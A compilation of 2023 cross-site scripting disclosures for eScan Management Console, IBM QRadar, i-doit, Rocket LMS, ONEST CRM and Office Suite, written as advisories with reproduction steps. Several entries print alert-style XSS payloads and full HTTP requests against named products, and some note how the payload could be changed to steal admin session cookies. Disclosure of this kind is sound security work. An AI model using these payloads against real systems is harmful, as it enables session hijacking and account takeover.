A Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary code via a vulnerable parameter GrpPath.

**eScan Management Console 14.0.1400.2281 - Reflected Cross Site Scripting**

**Description:** Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary code via a vulnerable parameter GrpPath .

**Vulnerable Product Version:** 14.0.1400.2281

**Date:** 23/06/2023

**CVE:** CVE-2023-34837

**CVE Author:** Sahil Ojha

**Vendor Homepage:** https://www.escanav.com

**Software Link:** https://cl.escanav.com/ewconsole.dll

**Tested on:** Windows

**Steps to reproduce:**

1.  Login into the eScan Management Console with a valid user credential. Here, escan management console is on internal network.
    
2.  Navigate to "Unmanaged Computers >> Network Computers" feature.
    
    ****
3.  Capture the POST request in burpsuite and inject the XSS paylaod into "GrpPath" parameter as shown in fugure below.
    
    ****
4.  After forwarding the request, an XSS alert will pop up with user session cookie.

CVE-2023-34837: CVE-2023-34837/README.md at main · sahiloj/CVE-2023-34837

A Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary code via a crafted script to the Description parameter.

**eScan Management Console 14.0.1400.2281 - Stored Cross Site Scripting**

**Description:** Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary code via a crafted script to the Description parameter.

**Vulnerable Product Version:** 14.0.1400.2281

**Date:** 23/06/2023

**CVE:** CVE-2023-34838

**CVE Author:** Sahil Ojha

**Vendor Homepage:** https://www.escanav.com

**Software Link:** https://cl.escanav.com/ewconsole.dll

**Tested on:** Windows

**Steps to reproduce:**

1.  Login into the eScan Management Console with a valid user credential. Here, escan management console is on internal network.
    
2.  Navigate to url http://192.168.1.1:10443/ewconsole/ewconsole.dll/NewRole and inject the XSS paylaod in description parameter.
    
    ****
3.  Select any group and save the new role detail. A XSS alert will pop up which can be also modified to extract admin session cookie.
    
    ****

CVE-2023-34838: CVE-2023-34838/README.md at main · sahiloj/CVE-2023-34838

A Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary code via a crafted script to the Dtltyp and ListName parameters.

**eScan Management Console 14.0.1400.2281 - Reflected Cross Site Scripting**

**Description:** Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary code via vulnerable parameters like Dtltyp and ListName.

**Vulnerable Product Version:** 14.0.1400.2281

**Date:** 23/06/2023

**CVE:** CVE-2023-34836

**CVE Author:** Sahil Ojha

**Vendor Homepage:** https://www.escanav.com

**Software Link:** https://cl.escanav.com/ewconsole.dll

**Tested on:** Windows

**Steps to reproduce:**

1.  Login into the eScan Management Console with a valid user credential. Here, escan management console is on internal network.
    
2.  Navigate to "User Activity >> File Activity Report" feature.
    
    ****
3.  Capture the GET request in burpsuite and inject the XSS paylaod into "Dtltyp" and "ListName" parameter as shown in fugure below.
    
    ****
4.  After forwarding the request, an XSS alert will pop up which could be modified to extract user session cookie as well.

CVE-2023-34836: CVE-2023-34836/README.md at main · sahiloj/CVE-2023-34836


IBM QRadar SIEM 7.5.0 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 248144.



  

**Summary**

IBM QRadar is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM QRadar SIEM has addressed the applicable vulnerability.

**Vulnerability Details**

**CVEID:**   CVE-2023-26274  
**DESCRIPTION:**   IBM QRadar is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.  
CVSS Base score: 4.6  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/248144 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)

**Affected Products and Versions**

**Affected Product(s)**

**Version(s)**

IBM QRadar SIEM

7.5.0 - 7.5.0 UP5

**Remediation/Fixes**

**IBM recommends customers update their systems promptly.**

**Product**

**Version**

**_Remediation/First Fix_**

IBM QRadar SIEM

7.5.0 

7.5.0 UP6

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

John Zuccato, Rodney Ryan, Chris Shepherd, Nathan Roane, Vince Dragnea, Troy Fisher, Gabor Minyo, Geoffrey Owden, and Ben Goodspeed from the IBM Security Ethical Hacking Team.

**Change History**

22 Jun 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSBQAC","label":"IBM Security QRadar SIEM"},"Component":"","Platform":\[{"code":"PF016","label":"Linux"}\],"Version":"7.5","Edition":"","Line of Business":{"code":"LOB24","label":"Security Software"}}\]

CVE-2023-26274: Security Bulletin: IBM QRadar SIEM is vulnerable to Cross Site Scripting (XSS) (CVE-2023-26274)

A Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary JavaScript code via a vulnerable delete_file parameter.

**eScan Management Console 14.0.1400.2281 - Reflected Cross Site Scripting**

**Description:** Cross Site Scripting vulnerability in Microworld Technologies eScan Management console v.14.0.1400.2281 allows a remote attacker to execute arbitrary JavaScript code via a vulnerable delete\_file parameter.

**Vulnerable Product Version:** 14.0.1400.2281

**Date:** 23/06/2023

**CVE:** CVE-2023-34835

**CVE Author:** Sahil Ojha

**Vendor Homepage:** https://www.escanav.com

**Software Link:** https://cl.escanav.com/ewconsole.dll

**Tested on:** Windows

**Steps to reproduce:**

1.  Login into the eScan Management Console with a valid user credential. Here, escan management console is on internal network.
    
2.  Navigate to "Report Template" feature and select any random report and click on delete button.
    
    ****
3.  Capture the post request in burpsuite and inject the XSS paylaod into "delete\_file" parameter.
    
    ****
4.  After forwarding the request, an XSS alert will pop up with user sesssion cookie which could be chained and escalted to perform account takeover.

CVE-2023-34835: CVE-2023-34835/README.md at main · sahiloj/CVE-2023-34835

IBM Business Automation Workflow is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.  IBM X-Force ID:  255587.

CVE-2023-32339

i-doit Open v24 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the timeout parameter on the login page.

**CVE-2023-34830 - Reflected XSS found in i-doit Open v24 and below**

i-doit Open v24 and below are vulnerable to Reflected XSS vulnerability. These vulnerabilities could allows remote authenticated attackers to inject arbitrary web script or HTML.

Description of product : i-doit is a web based Open Source IT documentation and CMDB (Configuration Management Database) developed by synetics GmbH

Description of vulnerability : We found that this web application allows any authenticated user to inject arbitrary web script or HTML into affected parameter.

Affected Webpage : main login page

Affected Parameter&Component : ?timeout

Step 1 : Add ?timeout after main login page, Screenshot below shows the error message after insert the ?timeout parameter.

Step 2 : Add the XSS payload after the ?timeout , then login with valid credential, as this is a Reflected XSS, it will Reflect your result after you have successfully login

payload used : a19yc%22%3e%3cscript%3ealert(%22THIS%20IS%20XSS%20FROM%20BB%22)%3c%2fscript%3emjf9oc2183m

Note. you may need 2-3 times to trigger the XSS payload , so just redo if first login is failed....

PS : Vendor have acknowledged and will release the bug fixes in i-doit open 25, Surprisingly, i only received the notification from i-doit pro 25.

CVE-2023-34830: GitHub - leekenghwa/CVE-2023-34830---Reflected-XSS-found-in-I-doit-Open-v24-and-below

Rocket LMS version 1.7 suffers from a persistent cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://codecanyon.net/user/rocketsoft                                     ││  Vendor   : RocketSoft                                                                 ││  Software : Rocket LMS 1.7                                                             ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS------------------------------------------------------------POST /contact/store HTTP/1.1_token=iytfhBpLDYy2flCFdMGcnYGIyvONBDgK60DdwAtn&name=[XSS Payload]&email=cracker@infosec.com&phone=96171951951&subject=[XSS Payload]&message=[XSS Payload]&captcha=32499------------------------------------------------------------POST parameter 'name' is vulnerable to XSSPOST parameter 'subject' is vulnerable to XSSPOST parameter 'message' is vulnerable to XSS## Steps to Reproduce:1. Login (as Student) "Normal User"2. Click On [Contact US] on this Path (https://website/contact)3. Inject your [XSS Payload] in "Your name"4. Inject your [XSS Payload] in "Subject"5. Inject your [XSS Payload] in "Message Box"6. Click on [Send Message]5. When ADMIN Visit the [Notifications] - [History] in administration Panel to Check new messages on this Path (https://website/admin/notifications) & Click on [Show]6. XSS will Fire & Executed on his Browser[-] Done

Rocket LMS 1.7 Cross Site Scripting

ONEST CRM version 1.0 suffers from a persistent cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://onesttech.com/details/crm                                          ││  Vendor   : Onest Tech                                                                 ││  Software : ONEST CRM 1.0 - Customer Relationship Management System Software           ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS------------------------------------------------------------POST /admin/project/update/2 HTTP/2Content-Disposition: form-data; name="name"<script>alert(1)</script>------------------------------------------------------------POST parameter 'name' is vulnerable to XSS## Steps to Reproduce:1. Login (as Client) "Normal User"2. Go to [Project List] on this Path (https://website/admin/project)3. Select any Project Click on the ... then Select [Edit]4. Inject your [XSS Payload] in "Name"5. Scroll Down and Press [Update]6. XSS Will Fire on Client Browser5. When ADMIN Visit the [Project List] to Check the Projects on this Path (https://website/admin/project) in administration Panel6. XSS will Fire & Executed on his BrowserNote: the Path for [Client Users] and [ADMIN] on the website it looks the same on "/admin/"      but The Client User Panel is Limited & don't show all Administration MENU Options in the Administration Panel to manage the website[-] Done

ONEST CRM 1.0 Cross Site Scripting

Office Suite Premium version 10.9.1.42602 suffers from a cross site scripting vulnerability.

    # Exploit Title: Office Suite Premium 10.9.1.42602 - Cross-Site Scripting (reflected)# Date: 06-26-2023# Exploit Author: tmrswrr# Vendor Homepage: https://www.mobisystems.com/# Software Link: https://apps.apple.com/us/app/officesuite-docs-pdf-editor/id924005506# Version: Office Suite Premium 10.9.1.42602# Tested on: Ubuntu 18.04# POC# Exploit Details : Following request will create a tool with an XSS payload. Click on the URL link for the malicious tool to trigger the payload.Request 1: GET /api?path=profile&lang=en_EN&application=wynq8%3cimg%20src%3da%20onerror%3dalert(1)%3egik2hgdc3o2&command=issue-xchange-code HTTP/2Host: connect.mobisystems.comAccept: */*Clv: 42602Pushtkn: msc://CD3D8C6E-A727-4674-A1AB-B4455990B4A7:com.mobisystems.ios.office.freeAccept-Language: en_EN,en;q=0.9Accept-Encoding: gzip, deflateApp: com.mobisystems.ios.office.freeUser-Agent: OfficeSuiteFree2/42602 CFNetwork/1404.0.5 Darwin/22.3.0Gdpr: trueAccount: 234c89ff-7e80-4b64-9d35-8653fe131795Tkn: 3cb5e874-51a4-4526-96d5-82c6321fdd19Url: https://connect.mobisystems.com/api?path=profile&lang=en_EN&application=wynq8%3cimg%20src%3da%20onerror%3dalert(1)%3egik2hgdc3o2&command=issue-xchange-codePayload: <img src=a onerror=alert(1)>Parameter : applicationRequest 2 : GET /api?path=files&id=dfsse%3cimg%20src%3da%20onerror%3dalert(1)%3ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527 HTTP/2Host: connect.mobisystems.comAccept: */*Clv: 42602Pushtkn: msc://CD3D8C6E-A727-4674-A1AB-B4455990B4A7:com.mobisystems.ios.office.freeAccept-Language: en_EN,en;q=0.9Accept-Encoding: gzip, deflateApp: com.mobisystems.ios.office.freeUser-Agent: OfficeSuiteFree2/42602 CFNetwork/1404.0.5 Darwin/22.3.0Lang: en_ENGdpr: trueAccount: 234c89ff-7e80-4b64-9d35-8653fe131795Tkn: 3cb5e874-51a4-4526-96d5-82c6321fdd19URL : https://connect.mobisystems.com/api?path=files&id=dfsse%3cimg%20src%3da%20onerror%3dalert(1)%3ez1668cyj2pi&revision=%22%22&type=%22thumb%22&command=url&expires=1687785968527Payload : <img src=a onerror=alert(1)>Parameter: idRequest 3 : GET /api?path=files&filter=pt3gh%3cimg%20src%3da%20onerror%3dalert(1)%3ei22b7eyyoi2&options=%7B%22order%22%3Anull%2C%22size%22%3A100%2C%22cursor%22%3Anull%7D&root=%7B%22account%22%3A%22234c89ff-7e80-4b64-9d35-8653fe131795%22%2C%22key%22%3Anull%2C%22name%22%3Anull%2C%22parent%22%3Anull%7D&command=search HTTP/2Host: connect.mobisystems.comAccept: */*Clv: 42602Pushtkn: msc://CD3D8C6E-A727-4674-A1AB-B4455990B4A7:com.mobisystems.ios.office.freeAccept-Language: en_EN,en;q=0.9Accept-Encoding: gzip, deflateApp: com.mobisystems.ios.office.freeUser-Agent: OfficeSuiteFree2/42602 CFNetwork/1404.0.5 Darwin/22.3.0Lang: en_ENGdpr: trueAccount: 234c89ff-7e80-4b64-9d35-8653fe131795Tkn: 3cb5e874-51a4-4526-96d5-82c6321fdd19URL : https://connect.mobisystems.com/api?path=files&filter=pt3gh%3cimg%20src%3da%20onerror%3dalert(1)%3ei22b7eyyoi2&options=%7B%22order%22%3Anull%2C%22size%22%3A100%2C%22cursor%22%3Anull%7D&root=%7B%22account%22%3A%22234c89ff-7e80-4b64-9d35-8653fe131795%22%2C%22key%22%3Anull%2C%22name%22%3Anull%2C%22parent%22%3Anull%7D&command=searchPayload :<img src=a onerror=alert(1)>Parameter: filter

Tag

#xss